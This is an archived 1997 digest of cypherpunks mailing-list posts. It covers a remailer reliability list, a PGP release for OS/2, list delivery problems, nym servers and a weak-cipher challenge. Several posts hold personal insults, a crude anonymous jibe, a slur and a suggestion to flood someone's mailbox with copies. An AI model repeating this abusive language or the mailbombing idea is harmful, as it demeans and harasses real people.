   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 26 May 97 6:48:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
winsock  winsock@rigel.cyberpass.net      ----++--+---  4:13:55  99.99%
hidden   remailer@hidden.net              ##*..+######  1:13:37  99.97%
weasel   config@weasel.owl.de             +---+-+++-++  1:53:36  99.96%
squirrel mix@squirrel.owl.de              +---+++++-++  1:53:32  99.96%
jam      remailer@cypherpunks.ca          * *+********    10:17  99.90%
nym      config@nym.alias.net             *++#+** *#**     1:59  99.80%
balls    remailer@huge.cajones.com        # #++###*###     2:04  99.78%
replay   remailer@replay.com              **.-+*-*****    39:24  99.61%
cyber    alias@alias.cyberpass.net        +****+ +* *+    15:08  99.41%
mix      mixmaster@remail.obscura.com     --*-*---.--  18:29:05  98.56%
lucifer  lucifer@dhp.com                  +*++   ++-++  1:15:02  97.14%
reno     middleman@cyberpass.net          + -+++ ++-    1:41:56  79.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 23:11:18 +0800
To: cypherpunks@einstein.ssz.com
Subject: PGP 2.6.3 Now Available for USA OS/2 users
Message-ID: <199705261459.JAA15150@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

This is just a quick not to let everyone know that PGP 2.6.3 is now
available for USA OS/2 users from my web site:

http://www.amaranth.com/~whgiii/pgpmr2.html

Just follow the links until you get to the download page.

This is the PGP 2.6.3i source code compiled with the RSAREF 1.0 lib to
make it's use "legal" in the USA.

I have various language files ,the PGP 2.6.3 source code, and the RSAREF
source code available for download from the same page.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: The best way to accelerate Windows is at escape velocity.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4mkwY9Co1n+aLhhAQGVaQQAizq9XJnfXJ1aDmOTUSGSZaMrvunDW7pE
YLQ3BYoBoyeHqlDkINN149wqzBA22b//g2cySF0VFx3v3E2FHjyQZf+TnXTTJ4uq
VFLpBWL3qemjS18rYAYKghUObiJEKMiuG4ljuJkf76qmejweVRByu0KgSlcVirCN
9oTjMDdiQK4=
=PyaM
-----END PGP SIGNATURE-----
 
Tag-O-Matic: Get OS/2 - the best Windows tip around!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 27 May 1997 04:41:58 +0800
To: tcmay@got.net
Subject: Re: V-Chips for the Internet / Crypto Keyboards
In-Reply-To: <v03102800afabb4cdc0fe@[207.167.93.63]>
Message-ID: <199705262003.NAA09654@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 27 May 1997 08:19:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705262230.PAA07484@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


In a jerk-off competition Timothy C[rook] May finishes 
second, third and fifth.

              ,,,
             ($ $)
         -ooO-(_)-Ooo- Timothy C[rook] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 27 May 1997 05:22:56 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Mail problems (fwd)
Message-ID: <199705262040.PAA26906@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley <paul@fatmans.demon.co.uk>
> Subject: Mail problems

> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsubscribed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are subscribed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?
> 
> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

Guitly as charged. I was only forwarding to cypherpunks@algebra.com, I have
corrected my short-sightedness and am now forwarding to
cypherpunks@cyberpass.net as well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 27 May 1997 07:21:20 +0800
To: cypherpunks@algebra.com
Subject: Tim has his own Geek Code!
Message-ID: <3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I just noticed that Tim has his own Geek Code category:

"y+++ I am T.C. May"

http://krypton.mankato.msus.edu/~hayden/.codes/geek3.1.html

Congratulations!


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:29:54 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Mail problems (fwd)
In-Reply-To: <199705262040.PAA26906@einstein.ssz.com>
Message-ID: <199705262116.QAA13392@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> Hi,
> 
> Forwarded message:
> 
> > Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> > From: Paul Bradley <paul@fatmans.demon.co.uk>
> > Subject: Mail problems
> 
> > I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> > hours now, I have unsubscribed from algebra.com (which did not repond to 
> > a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> > have still only seen another one post (raphs remailer ping post). 
> > Has anyone else experienced problems, inside the UK or outside? 

algebra.com will NEVER respond to pings.

This is because of the way algebra.com is set up.

It is up and running though.

> > I wonder if this outage might have anything to do with Igor moving the 
> > list to another machine, as I seem to remember he said he was, although 
> > if I recall correctly he did not think this would cause a problem. As I 

It will not cause any problems, but I have not even started it.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:27:44 +0800
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Nym Servers
In-Reply-To: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
Message-ID: <199705262119.QAA13412@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Alan Olsen wrote:
> 
> As well as active Cypherpunks mirrors, have there been many new nym servers
> coming into existance?  Most of them seem to have been dying on the vine.
> 
> Info on new or existing nym servers appreciated.  (I am not certain in Raph
> has been covering them on the remailer list.)
> 

As far as I understand, nym servers die because their maintainers get
tired of the huge amount of mass mailings, mailbombings and complaints
that these servers generate. Often enough they simply do not have the
bandwidth or CPU resources to maintain them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 07:27:26 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705262119.QAA13412@manifold.algebra.com>
Message-ID: <Z4yB8D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Alan Olsen wrote:
> >
> > As well as active Cypherpunks mirrors, have there been many new nym servers
> > coming into existance?  Most of them seem to have been dying on the vine.
> >
> > Info on new or existing nym servers appreciated.  (I am not certain in Raph
> > has been covering them on the remailer list.)
> >
>
> As far as I understand, nym servers die because their maintainers get
> tired of the huge amount of mass mailings, mailbombings and complaints
> that these servers generate. Often enough they simply do not have the
> bandwidth or CPU resources to maintain them.

Stanford Wallace is doing an excellent job hosting "unpopular"
Internet features which the politically correct scum (like the
cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.

It's pricey, but it sounds like a nearly ideal site for remailers,
nym sevrers, and the like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Tue, 27 May 1997 07:22:07 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
Message-ID: <199705262319.SAA14235@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Mon May 26 15:57:06 1997
Date: Mon, 26 May 1997 15:57:06 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705262057.PAA13157@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  

>From cpunks@manifold.algebra.com  Mon May 26 15:56:57 1997
Return-Path: <cpunks@sirius.infonex.com>
Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id PAA13138 for cypherpunks+incoming-cyberpass@algebra.com; Mon, 26 May 1997 15:56:51 -0500
Received: from sirius.infonex.com (cpunks@sirius.infonex.com [206.170.114.2])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id QAA01122
	for <cypherpunks+incoming-cyberpass@algebra.com>; Mon, 26 May 1997 16:56:19 -0400 (EDT)
Received: (from cpunks@localhost) by sirius.infonex.com (8.8.5/8.7.3) id NAA20075; Mon, 26 May 1997 13:56:02 -0700 (PDT)
Received: from rigel.cyberpass.net (root@rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id NAA20063 for <cpunks@sirius.infonex.com>; Mon, 26 May 1997 13:55:30 -0700 (PDT)
Received: from punt-2.mail.demon.net (relay-11.mail.demon.net [194.217.242.137]) by rigel.cyberpass.net (8.8.5/8.7.3) with SMTP id NAA15274 for <cypherpunks@cyberpass.net>; Mon, 26 May 1997 13:53:49 -0700 (PDT)
Received: from fatmans.demon.co.uk ([158.152.120.223]) by punt-2.mail.demon.net
           id aa1107689; 26 May 97 21:14 BST
Received: (from paul@localhost) by fatmans.demon.co.uk (8.6.12/8.6.9) id QAA00281; Mon, 26 May 1997 16:59:08 GMT
Date: Mon, 26 May 1997 16:59:07 +0000 (   )
From: Paul Bradley <paul@fatmans.demon.co.uk>
To: cypherpunks@cyberpass.net
Subject: Mail problems
Message-ID: <Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

	
I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 
have still only seen another one post (raphs remailer ping post). 
Has anyone else experienced problems, inside the UK or outside? 

All of the post that have come through have been sent initially to 
toad.com, my guess would be that nearly everyone, regardless of where 
they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
down, therefore cyberpass and ssz, even though they are up, have not got 
many messages to send on, does anyone know where toad.com is forwarding 
posts to?

I wonder if this outage might have anything to do with Igor moving the 
list to another machine, as I seem to remember he said he was, although 
if I recall correctly he did not think this would cause a problem. As I 
said, cyberpass is definitely up and has responded to my majordomo request. 


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"


----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:29:51 +0800
To: ichudov@algebra.com
Subject: Re: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
In-Reply-To: <199705262319.SAA14235@manifold.algebra.com>
Message-ID: <199705262323.SAA14319@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


cpunks@algebra.com wrote:
> ----- Forwarded message from owner-cypherpunks@algebra.com -----
> 
> >From owner-cypherpunks@Algebra.COM  Mon May 26 15:57:06 1997
> Date: Mon, 26 May 1997 15:57:06 -0500
> From: owner-cypherpunks@algebra.com
> Message-Id: <199705262057.PAA13157@manifold.algebra.com>
> To: owner-cypherpunks@Algebra.COM
> Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  
> 
> >From cpunks@manifold.algebra.com  Mon May 26 15:56:57 1997
> Return-Path: <cpunks@sirius.infonex.com>
> Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id PAA13138 for cypherpunks+incoming-cyberpass@algebra.com; Mon, 26 May 1997 15:56:51 -0500
> Received: from sirius.infonex.com (cpunks@sirius.infonex.com [206.170.114.2])
> 	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id QAA01122
> 	for <cypherpunks+incoming-cyberpass@algebra.com>; Mon, 26 May 1997 16:56:19 -0400 (EDT)
> Received: (from cpunks@localhost) by sirius.infonex.com (8.8.5/8.7.3) id NAA20075; Mon, 26 May 1997 13:56:02 -0700 (PDT)
> Received: from rigel.cyberpass.net (root@rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id NAA20063 for <cpunks@sirius.infonex.com>; Mon, 26 May 1997 13:55:30 -0700 (PDT)
> Received: from punt-2.mail.demon.net (relay-11.mail.demon.net [194.217.242.137]) by rigel.cyberpass.net (8.8.5/8.7.3) with SMTP id NAA15274 for <cypherpunks@cyberpass.net>; Mon, 26 May 1997 13:53:49 -0700 (PDT)
> Received: from fatmans.demon.co.uk ([158.152.120.223]) by punt-2.mail.demon.net
>            id aa1107689; 26 May 97 21:14 BST
> Received: (from paul@localhost) by fatmans.demon.co.uk (8.6.12/8.6.9) id QAA00281; Mon, 26 May 1997 16:59:08 GMT
> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley <paul@fatmans.demon.co.uk>
> To: cypherpunks@cyberpass.net
> Subject: Mail problems
> Message-ID: <Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> 
> 	
> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 

algebra never responds to pings.

The reason why your article did not go through is because majordomo
thought that your article was an un-sus-cri-be request.

I am very annoyed at the extremely unintelligent behavior of majordomo:
instead of bouncing messages to cypherpunks-owner it should bounce them
back to posters. It should also do a better job at identifying admin
requests.

> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?

cyberpass is also subscribed to toad.

> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

I am not moving anything yet.

igor

>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 
> ----- End of forwarded message from owner-cypherpunks@algebra.com -----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:46:43 +0800
To: freedom-knights@jetcafe.org (Freedom Knights)
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <199705262326.SAA14393@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > As far as I understand, nym servers die because their maintainers get
> > tired of the huge amount of mass mailings, mailbombings and complaints
> > that these servers generate. Often enough they simply do not have the
> > bandwidth or CPU resources to maintain them.
> 
> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 
> It's pricey, but it sounds like a nearly ideal site for remailers,
> nym sevrers, and the like.

I do not think that cyberpromo is a good site for remailers, because
a lot of sites ignore everything that comes out of cyberpromo and 
affiliated domains. A user who decides to use a cyberpromo-hosted
remailer will not be sure whether his messages will be delivered to
recipients or not.

It may be slightly better to use cyberpromo for a nym server, though.

How much does it cost to have a domain with Cyberpromo?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 27 May 1997 09:57:48 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705262230.PAA07484@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 26 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> In a jerk-off competition Timothy C[rook] May finishes 
> second, third and fifth.
> 
>               ,,,
>              ($ $)
>          -ooO-(_)-Ooo- Timothy C[rook] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 09:48:15 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: <8u9B8D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and
> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.

It's not "a lot" of sites - most of them are just making stupid noises.
Also, if a site does try to decide what its users are allowed to read,
it's too bad for the users - let them move to another site.

> It may be slightly better to use cyberpromo for a nym server, though.

It might be a good site for an anon.penet.fi-like server (yes, I keep
promising to do something...)

> How much does it cost to have a domain with Cyberpromo?

I believe it's something like $25/month, not including $100 to InterNIC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Tue, 27 May 1997 15:08:50 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Spam IS Free Speech
In-Reply-To: <Pine.LNX.3.91.970522182630.712B-100000@fatmans.demon.co.uk>
Message-ID: <970527.001130.1E4.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, paul@fatmans.demon.co.uk writes:

> You are forgetting the 998348934th ammendment of the US constitution:
>
> Congress shall make no law infringing the right of the people to kidnap 
> megaphone owners...

The 1st one begins with "Congress shall make no law", and that's quite
enough.  The US government is forbidden to interfere in matters of
speech. (yah, I know this doesn't seem to slow 'em down much) You're
right that a sendmail (or other process vulnerable to subversion) should
protect itself.  My fear is that our benevolent protectorate will
_require_ such precautions, because that concedes the duty to provide
other precautions as the law might require.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey@scytale.com
            I charge to process unsolicited commercial email

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4puNBvikii9febJAQF8jAP/RmVg8Nh3o1xEnDl1VVchpgT9JEWCsr0p
rM9jIOBjyI2i5H07+6AhwZ2oKWQBz2KKRN+/RhCbRTmEBfAJO5SngyNzMmFi+ov3
BX2yYxz5hyduoQXgW+Wwq57oZSEyZ8A68OgzTvcKwvWwW+7vfO/appfEfoKeCDll
mlMY3wxpl1I=
=2RLx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 27 May 1997 07:49:49 +0800
To: ichudov@algebra.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <199705170136.UAA16850@manifold.algebra.com>
Message-ID: <m0wW9DS-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>Also, some may be interested to look at this particular encryption
>method (I added some indentation and comments for readability). I believe
>that it is not particularly strong.

>      Block[I1] := Block[I1] xor Random(256);
>      Block[I1] := EncTable[Block[I1]];

What is Random()? How is it seeded?

>>  The first
>> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
>> sends decrypted message and the correct key to info@dataet.com and
>> cypherpunks@toad.com will receive a free basic Web site package. (Package
>> details are located at http://www.dataet.com). (Igor, this is it!)

The test file is only 836 bytes long.  Could you please post a file
consisting of, say, 50.000 space characters encrypted with the same
key?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: meowForce <kibo@thecia.net>
Date: Tue, 27 May 1997 15:33:04 +0800
To: Freedom Knights <freedom-knights@jetcafe.org>
Subject: Re: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: <Pine.BSI.3.96.970527024418.18261B-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 26 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 26 May 1997 18:26:33 -0500 (CDT)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: devnull@manifold.algebra.com,
>     Freedom Knights <freedom-knights@jetcafe.org>
> Cc: cypherpunks@toad.com
> Subject: Re: Nym Servers
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > As far as I understand, nym servers die because their maintainers get
> > > tired of the huge amount of mass mailings, mailbombings and complaints
> > > that these servers generate. Often enough they simply do not have the
> > > bandwidth or CPU resources to maintain them.
> > 
> > Stanford Wallace is doing an excellent job hosting "unpopular"
> > Internet features which the politically correct scum (like the
> > cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> > 
> > It's pricey, but it sounds like a nearly ideal site for remailers,
> > nym sevrers, and the like.
> 
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and 
